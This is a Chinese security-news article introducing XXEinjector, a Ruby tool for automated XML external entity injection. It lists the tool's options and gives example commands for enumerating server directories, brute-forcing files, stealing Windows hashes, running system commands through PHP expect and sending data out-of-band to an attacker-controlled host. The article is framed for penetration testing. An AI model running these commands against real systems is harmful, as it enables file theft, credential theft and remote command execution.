XXEinjector:一款功能强大的自动化XXE注射工具

科技   2025-01-12 10:01   上海  



XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。


XXEinjector注入工具的使用


XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。


 

--host     必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)--file      必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)--logger        记录输出结果。--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)--rport          远程主机的TCP端口信息。(--rport=8080)--phpfilter    在发送消息之前使用PHP过滤器对目标文件进行Base64编码。--netdoc     使用netdoc协议。(Java).--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)--hashes       窃取运行当前应用程序用户的Windows哈希。--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)--xslt      XSLT注入测试。--ssl              使用SSL。--proxy         使用代理。(--proxy=127.0.0.1:8080)--httpport Set自定义HTTP端口。(--httpport=80)--ftpport       设置自定义FTP端口。(--ftpport=21)--gopherport  设置自定义gopher端口。(--gopherport=70)--jarport       设置自定义文件上传端口。(--jarport=1337)--xsltport  设置自定义用于XSLT注入测试的端口。(--xsltport=1337)--test     该模式可用于测试请求的有效。--urlencode     URL编码,默认为URI。--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)--fast     跳过枚举询问,有可能出现结果假阳性。--verbose     显示verbose信息。

 如果现在还对XXE攻击不是很了解的话,推荐大家先阅读下面这篇文章:《XXE注入攻击-XML外部实体漏洞及样本分析》。


XXEinjector使用样例


枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

XXEinjector下载地址:

https://github.com/enjoiz/XXEinjector/archive/master.zip


FreeBuf粉丝交流群招新啦!
在这里,拓宽网安边界
甲方安全建设干货;
乙方最新技术理念;
全球最新的网络安全资讯;
群内不定期开启各种抽奖活动;
FreeBuf盲盒、大象公仔......
扫码添加小蜜蜂微信回复「加群」,申请加入群聊】



FreeBuf
中国网络安全行业门户
 最新文章